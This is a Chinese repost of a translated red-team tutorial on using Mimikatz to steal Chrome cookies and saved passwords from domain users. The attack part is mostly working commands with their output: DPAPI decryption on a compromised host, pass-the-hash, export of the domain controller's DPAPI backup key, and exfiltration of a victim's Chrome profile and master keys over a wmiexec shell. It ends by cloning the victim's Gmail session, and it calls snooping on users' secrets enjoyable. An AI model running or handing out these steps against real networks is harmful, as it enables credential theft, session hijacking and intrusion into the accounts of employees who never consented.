使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - xiao****gfu90

admin 2021年12月31日14:41:44评论322 views字数 11638阅读38分47秒阅读模式

原文地址:https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

DPAPI,全称Data Protection Application Programming Interface,作为Windows系统的一个数据保护接口被广泛使用,主要用于保护加密的数据。对于Windows系统,用户的加密数据大都采用DPAPI进行存储,而想要解密这些数据,必须要获得DPAPI对应的MasterKey。

众所周知,渗透测试或者红队攻击时,如何定义项目的目标很重要。有时仅获得域管理员权限是不够的,因为目标可能被定义为特定网段或用户个人电脑的入口,那台机器上只是保存有人家的凭据和敏感信息而已。介于此,本文特意讨论后面这种情况,详述DPAPI 密钥在此类攻击中的作用。

读取 DPAPI 密钥使得攻击者能够“横向”维持在云服务层级,无需继续访问受害者的主机。这是攻击者能够从敏感服务获取信息的另一种方式,这些敏感服务包括 Office 365 电子邮件服务、共享文档、团队聊天服务(如SlackMicrosoft)等。

本文重点介绍几种DPAPI 密钥(包括域控的 DPAPI 备份密钥)的读取技术。一旦获得域管理员权限,读取 DPAPI 密钥一般来说已经可以访问域内任何用户的秘密,无论是通过受害者的主机还是通过域控。

为了更好地讨论,定义以下场景:

  • 在目标的域环境中有已控主机。
  • 可以访问域管理员凭据和哈希(或者二者中的任意一个)。
  • 我们的目的是访问存储在谷歌浏览器中的特定用户的凭据,包括历史记录和 cookie。

基于以上情况,先来看看几种场景。第一种较为常见,控制受害者主机并在其中执行 Mimikatz。第二种场景提供了另一种思路:拥有访问域备份密钥的权限时,就可以控制公司域(前提是以任何方式获得域管理员权限),从而可以解密任何用户的主密钥。

常用方法:从系统中读取 Cookie 和机密

在第一个场景中,假设已经通过网络钓鱼或其他方式入侵了目标主机,我们的目标是获取主密钥来访问谷歌浏览器存储的凭据和cookie。为此,我们需要在受害者主机当前用户权限中执行以下 Mimikatz 命令:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect

其中,/unprotect用于显示 cookie 值。

可以执行类似的命令来获取已保存的谷歌浏览器凭据:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

使用这两个Mimikatz命令,即使是在受密码保护的用户主机上也可以解密它的主密钥。因为 Mimikatz 是以当前用户权限执行,故而这些主密钥都是可访问的。

但是,这种攻击是有局限性的,因为需要将 Mimikatz 上传到目标计算机。考虑到目标机器上可能安装了杀毒软件和端点检测和响应 (EDR)防御,就需要对应的的规避技术 。所以,只要能绕过杀软,这种攻击仍然是可行的。

关于这种方法,有几个重要的结论需要列出来:

  • Mimikatz 需要与psexec协同,但是仍然需要先将 Mimikatz 上传到目标。如果目标主机上存在防病毒软件或EDR,那上传工作就是一个难活。
  • 如果使用psexec来执行 Mimikatz ,则无法提取谷歌浏览器的Cookie 和凭据。Mimikatz 在目标的域中需要以SYSTEM权限运行,而不是域用户权限。因此可能会收到以下错误:
    ERROR kuhl_m_dpapi_chrome_decrypt ; No Alg and/or Key handle despite AES encryption.

如上图所提示的错误:Mimikatz 无法从内存中找到具体的键值,因为它并不在当前用户权限下运行。但是这个问题可以通过以下方式解决:由于Mimikatz已经以SYSTEM权限运行,因此可以使用 DPAPI 模块从内存中读取主密钥:

sekurlsa::dpapi

使用上述命令,Mimikatz 可以从该特定系统的内存中获取主密钥。如果你想解密哪个用户的密钥,只需确定其键值即可。

在这个例子中,我们用户将定位于CORE\kbell。本例中,它的主密钥是9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b.

之前的命令再执行一遍,不同的是,这次可以指定主密钥:

dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" 
/masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e957188​​42829b12912567ca
0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b

有戏!我们现在可以解密 cookie 值。如果这些 cookie 有效,我们就可以劫持用户会话。

另辟蹊径:Mimikatz 和域控制器

上文描述的第一个场景大家应该很熟悉,但主要限制是必须将 Mimikatz 上传到目标主机。除此之外,还有一种无需上传 Mimikatz 即可执行同样功能的方法。为了实现这一点,我们需要有一台已控守的 Windows 主机(假设 Mimikatz 将在其上执行),且此主机能够访问域控。

以普通域用户权限打开 cmd.exe

以普通域用户权限在该受控主机上运行 Mimikatz,这其实是可行的。换言之,我们可以在未加入域的 Windows 主机上运行 Mimikatz。

首先,我们需要在域主机中打开一个cmd.exe。在本例中,用户为core.internal\administrator

runas /netonly /u:"core.internal\administrator" cmd.exe

注意:请务必记住,此方法需要密码。作为先决条件,需要先获取有效的密码。

假如无法获取明文密码,还可以使用对应的 NTLM 哈希值。例如,如果拥有域管理员用户的 NTLM 哈希值,则只需要使用mimikatz的“传递哈希”功能。这意味着你只需要你想要假冒的那个域用户的NTLM 哈希值足矣:

sekurlsa::pth /user:DA_ADMIN_USER /domain:FQDN.DOMAIN.LOCAL /ntlm:USER_NTLM_HASH

下例显示了如何使用 Mimikatz在域管理员用户core.internal\administrator里执行新的cmd.exe进程:

转储备份密钥

从域控导出备份密钥是可行的。首先,简要解释一下备份密钥是什么。

操作系统的多个组件使用数据保护API (Data Protection API,DPAPI) 来安全地存储密码、加密密钥或任何敏感数据。这种机制也可以用于域环境。如果在域环境中的话,用户主密钥的副本使用的是DPAPI域备份密钥进行加密,这种备份密钥是所有域控都共享的。

这意味着使用 DPAPI 域备份密钥,就可以访问任何域用户的主密钥。这就导致了攻击者能够解密存储在域中任何用户的密文。

要使用 Mimikatz 获取备份密钥,请执行以下命令:

lsadump::backupkeys /system:DOMAIN-CONTROLLER-HOSTNAME /export

在此例中,请注意使用了dc01.core.internal(域控制器DC01)。

上面例子中的一个重要文件是ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk. .pvk扩展名的意思是“私钥“,表示它可以被用于解密目标用户上的秘密文件。

在谷歌浏览器中窃取域用户的会话

理解这种攻击的一个好方法是在真实场景中重现。首先假设我们入侵了一个名为core.internal\kbell的用户主机,且这台主机是公司的 IT 主管所用。由于需要压缩一些文件,因此需要上传一个可移植版本的 7zip

因为我们在上一步中已经从域控中获得了备份密钥,故而在此场景中,假设我们已经拥有域管理员权限。

首先需要使用wmiexec.py或其他方式获得一个shell,接着上传7za.exe 文件:

C:\users\kbell\desktop>put /home/rifle/Tools/windows-binaries/7za.exe .
[*] Uploading 7za.exe to C:\users\kbell\desktop\.\7za.exe
C:\users\kbell\desktop>dir 7za.exe
 Volume in drive C has no label.
 Volume Serial Number is 36A0-B333

 Directory of C:\users\kbell\desktop

04/21/2020  09:17 PM         1,152,000 7za.exe
               1 File(s)      1,152,000 bytes
               0 Dir(s)   2,841,632,768 bytes free

接着,备份整个谷歌浏览器文件夹到一个zip文件中。此命令可能需要一些时间,具体取决于文件的大小(受害主机可能有很长的网络历史记录):

C:\users\kbell\desktop> 7za.exe a C:\Windows\Temp\google.zip "C:\Users\kbell\AppData\Local\Google\Chrome\User Data\"

7-Zip (a) 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21

Scanning the drive:
583 folders, 1156 files, 163464925 bytes (156 MiB)

Creating archive: C:\Windows\Temp\google.zip

Add new data to archive: 583 folders, 1156 files, 163464925 bytes (156 MiB)


Files read from disk: 1156
Archive size: 69634627 bytes (67 MiB)
Everything is Ok

在此示例中,由于鄙人对整个文件夹都感兴趣,所以把它整个都复制了,包括书签、历史记录等。但是特别诱惑我的确是这几个文件:

C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Local State (这是一个文件。)
C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\*(此文件夹包含多个文件,包括Cookies文件。)

现在我们可以下载这个包含了受害主机所有 Chrome 文件的 zip 文件:

C:\users\kbell\desktop>get C:\Windows\Temp\google.zip
[*] Downloading C:\\Windows\Temp\google.zip

接下来,我们需要%appdata%目录中的密钥,位于以下路径:

C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID

SID代表安全标识符,例如S-1-5-21-1968630676-249568448-1092335803-4255。此外,此文件夹中的所有文件都是隐藏的,要用dir /a才能列出它们。

先备份此文件夹,稍后会用到。

C:\users\kbell\appdata\Roaming\Microsoft\Protect>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 36A0-B333

 Directory of C:\users\kbell\appdata\Roaming\Microsoft\Protect

04/11/2020  06:14 PM    <DIR>          .
04/11/2020  06:14 PM    <DIR>          ..
04/11/2020  06:14 PM                24 CREDHIST
04/11/2020  06:14 PM    <DIR>          S-1-5-21-1968630676-249568448-1092335803-4255
04/11/2020  06:14 PM                76 SYNCHIST
               2 File(s)            100 bytes
               3 Dir(s)   2,840,129,536 bytes free

C:\users\kbell\appdata\Roaming\Microsoft\Protect>C:\Users\kbell\Desktop\7za.exe a 
C:\Windows\Temp\keys.zip S-1-5-21-1968630676-249568448-1092335803-4255\

7-Zip (a) 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21

Scanning the drive:
1 folder, 3 files, 1676 bytes (2 KiB)

Creating archive: C:\Windows\Temp\keys.zip

Add new data to archive: 1 folder, 3 files, 1676 bytes (2 KiB)


Files read from disk: 3
Archive size: 2571 bytes (3 KiB)
Everything is Ok

接着下载刚刚创建的 zip 文件:

C:\users\kbell\appdata\Roaming\Microsoft\Protect>get C:\Windows\Temp\keys.zip[*] Downloading C:\\Windows\Temp\keys.zip

克隆谷歌浏览器受害者的会话

首先要确保本地安装了谷歌浏览器,然后将刚获得的文件复制到本地主机上。为了尽量减少环境干扰因素,最好在与受害主机相同的位置使用设置了 VPN 的虚拟机。之后可能会有行为分析和异常检测防御,这是建立了新连接或者在异常位置建立了连接都会有的行为。

现在要进入到特定目录去替换掉一些文件。大家可以替换整个 User Data 文件夹,这是最简单便捷的方法。但是,如果您只下载了之前指定的所需文件,只需替换计算机上谷歌浏览器文件夹中的对应文件即可。

接着,将密钥文件移动到mimikatz.exe所在文件夹。虽然这一步不是强制性的,但它会使后面的命令执行更简单。记住,因为这些是系统文件,要使用xcopy /H命令才能复制文件。

C:\Users\rifle\Desktop\mimikatz_trunk\x64>xcopy /H S-1-5-21-1968630676-249568448-
1092335803-4255\98ec219d-d8c0-4d35-be33-8dca90bba887 
C:\Users\rifle\Desktop\mimikatz_trunk\x64\

S-1-5-21-1968630676-249568448-1092335803-4255\98ec219d-d8c0-4d35-be33-8dca90bba887
1 File(s) copied

使用域备份密钥解密受害主机的主密钥

现在,使用 Mimikatz来解密用户的密钥。

mimikatz # dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 
/pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk

解释一下每个参数:

  • /in:98ec219d-d8c0-4d35-be33-8dca90bba887:这是从目标主机窃取的主密钥,是使用xcopy之前复制的文件。从技术上讲,这是目标用户的主密钥,用于解密谷歌浏览器中存储的机密信息。
  • /pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk:这是从域控窃取的备份密钥。备份密钥的真正魔力在于:这个pvk文件(私钥)可以解密和打开任何域用户的任何主密钥。也即:我们可以解密谷歌浏览器存储的任何域用户的 cookie 和凭据。

下面是命令的输出结果:

mimikatz # dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 
/pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {98ec219d-d8c0-4d35-be33-8dca90bba887}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 139b2ddb0f6157e36c33354411933dbb
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 31665abe3bf63900f6578032f201160e895380a43b233cc532ff219cee8328
9187a2c64086c83884141cf5b5503f7be632da32e7dc4e09b74142e87faddcac00799ced7e044473fe7b2
fcaef30076ced3c53e7542d855c1e92bccbc04dbe4e8a1202ad1bb3c54bac

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : a1a13ca2f183652cbcf22f01eb3d2ea1
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 7618cec63bdf186b14ecfcabf2f4494d6b2c124dfbacce3f4f50cb9b5de4dc11
984d8004204a70fbe8f2826e5cd1d2197dcd01d8e0084f44165c27cb99229d47cdc51bcb86ed0c8b

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {116e39f3-e091-4b58-88ff-8f232466b5d6}
    pbSecret         : c576997e887abec3cd542eca7acb4eeb5d2a79bdd7ebecc7af3b5e2b7c36fd2f418a
67bb5f29efb886197a3de85ae1bee404dbd434da2ec43a55f200e3f8f6f9bd27d7e2193dfe62ee4a7a637445a3a
6410b0785b992afd9c1acbf560b97d1ebcba9efbd560236129a34b96b4e2f3895ba026e73afe3bbcc8bcdb95bbd
279d012da3d49e15c97996a41fd8ad1d59d3082d2d8f8cdf33d74a6ea27c89eba8efb9df072b6851ba5ba92886b
7323b073b141ff8391036337cf1a94abfb30a793be9025cd6ca44a02921ab201e47eeaa83f44ba375e2d30cc414
f127a541e74463d7c4f16b56a473ff56750f30793b3d65bf4fe3c80dcb4ec5de5774a364f483bb36
    pbAccesscheck    : 3da9473de0cc6c054448acda415a1c86a32e7db3a7c2359b9e55dda23c419b37f390
0bb53a15e02df75411c510abba59a43f71d0577871fa62d000598aa9232ec720a75719122d8900a4a37f986ff17
d5a30fe372809a1f2


[domainkey] with RSA private key
  key : 9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd
0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
  sha1: f8b1f1f7cd3efdd4c07ef7b955ad27b254694fbe
  sid : S-1-5-21-1968630676-249568448-1092335803-4255

输出得到的一个重要东西是私有值(在输出的最后)。在我们的例子中,具体为:

9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e957188​​42829b12912567ca0713c4bd0cf
74743c81c1d32bbf10020c9d72d58c99e731814e4155b

该键对应于用户core.internal\kbell

压轴大戏:将解密的密钥导入内存

此时,我们已经拥有在目标主机上重建谷歌浏览器的状态和环境所需的所有信息。

从上一个命令输出中,我们必须复制该szGuid值。本例中,该值为{98ec219d-d8c0-4d35-be33-8dca90bba887}

现在,要将受害主机的密钥导入内存,执行以下命令:

mimikatz # dpapi::create /guid:{98ec219d-d8c0-4d35-be33-8dca90bba887} /key:9a6f199e3d2e698ce
78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72
d58c99e731814e4155b /password:pentest1122 /protected

参数解释如下:

  • /guid:{98ec219d-d8c0-4d35-be33-8dca90bba887}: 如前所述,这是从之前执行的命令中获得的 szGuid 值。
  • /key:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b:这是受害主机的密钥,也是在上一步中获得的。
  • /password:pentest1122:这是攻击者主机用户的密码。注意它不是受害者的密码。Mimikatz 需要我们的密码才能在我们的 Windows 机器中正确设置会话。

最后得到类似于下图的输出:

重要提示:上一条命令的结果应该输出为( hidden & system): OK。这意味着新的主密钥文件已正确写入。如果我们收到类似的错误:(hidden & system): ERROR kuhl_m_dpapi_create;kull_m_file_writeData (0x00000005),这意味着我们在 Mimikatz 试图生成新密钥的同一路径中拥有主密钥的旧副本,而Mimikatz 不会覆盖此文件。要解决这个问题,我们只需要删除或移走那个旧的主密钥文件,然后再执行指定的命令。由于该密钥文件是一个隐藏文件,需要使用以下命令来删除:

del /a 98ec219d-d8c0-4d35-be33-8dca90bba887

执行该命令后,再次执行 Mimikatz 应该可以正确生成文件。

最后,我们需要将生成的文件复制到%appdata%文件夹,以便系统可以读取该文件。

xcopy /H C:\Users\rifle\Desktop\mimikatz_trunk\x64\98ec219d-d8c0-4d35-be33-8dca90bba887 
C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005\

C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 36A0-B333

 Directory of C:\Users\rifle\AppData\Roaming\Microsoft\Protect\S-1-5-21-3317543668-4020658003-1568697172-1005

04/21/2020  10:48 PM    <DIR>          .
04/21/2020  10:48 PM    <DIR>          ..
04/04/2020  05:33 PM               468 313b61dd-628c-4f0d-9a20-512e6739c77e
04/21/2020  10:45 PM               264 98ec219d-d8c0-4d35-be33-8dca90bba887
04/04/2020  05:33 PM               468 aa9b4e7e-72bc-44d1-a9a7-5c03e8e2bcac
04/18/2020  05:39 PM               468 db625e2f-2afd-4c87-ae15-4fdc06b24114
04/04/2020  05:33 PM               468 e45f6792-0158-499b-b063-fc050f4908d1
04/18/2020  05:39 PM                24 Preferred
               6 File(s)          2,160 bytes
               2 Dir(s)   5,424,898,048 bytes free

如上图,98ec219d-d8c0-4d35-be33-8dca90bba887现在出现在我们电脑的\Microsoft\Protect\SID文件夹中(Windows本地用户下)。

最后,我们打开谷歌浏览器...

……大家快康!!!!

我们成功克隆了受害主机的谷歌浏览器会话。现在可以访问受害者存储的密码、历史记录和书签。上面的屏幕截图显示了我们能够登录到受害者的 Gmail 帐户。

这种类型的攻击的意义在于,渗透测试员或红队人员能够持续使用云服务,而不必持续登录受害者的主机。当受害者使用基于 Web 的密码管理器或 SSO 门户网站来访问公司的应用程序并且会话 cookie 保持有效时,这会非常有用。此外,如果用户没有使用额外的 Chrome 主密码保护它们,攻击者就可以访问所有保存的密码。

结论

作为渗透测试人员,拥有不止一种方法来成功渗透目标是很有用的。如果过程中遇到任何障碍,换个思路会有所帮助。

在这种情况下,获得受害主机的访问权限可能还不够——我们可能需要更进一步来获取更多敏感信息。事实上,有必要深入研究该公司使用的不同服务以找到有用的东西。想象一下,在用户共享密码或机密信息或使用云驱动器中的共享文档的情况下,你可以偷窥他们的信息,是不是感觉很爽?在这种情况下,换个思路可能才是达成目标的理想选择。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日14:41:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - xiao****gfu90https://cn-sec.com/archives/709323.html

发表评论

匿名网友 填写信息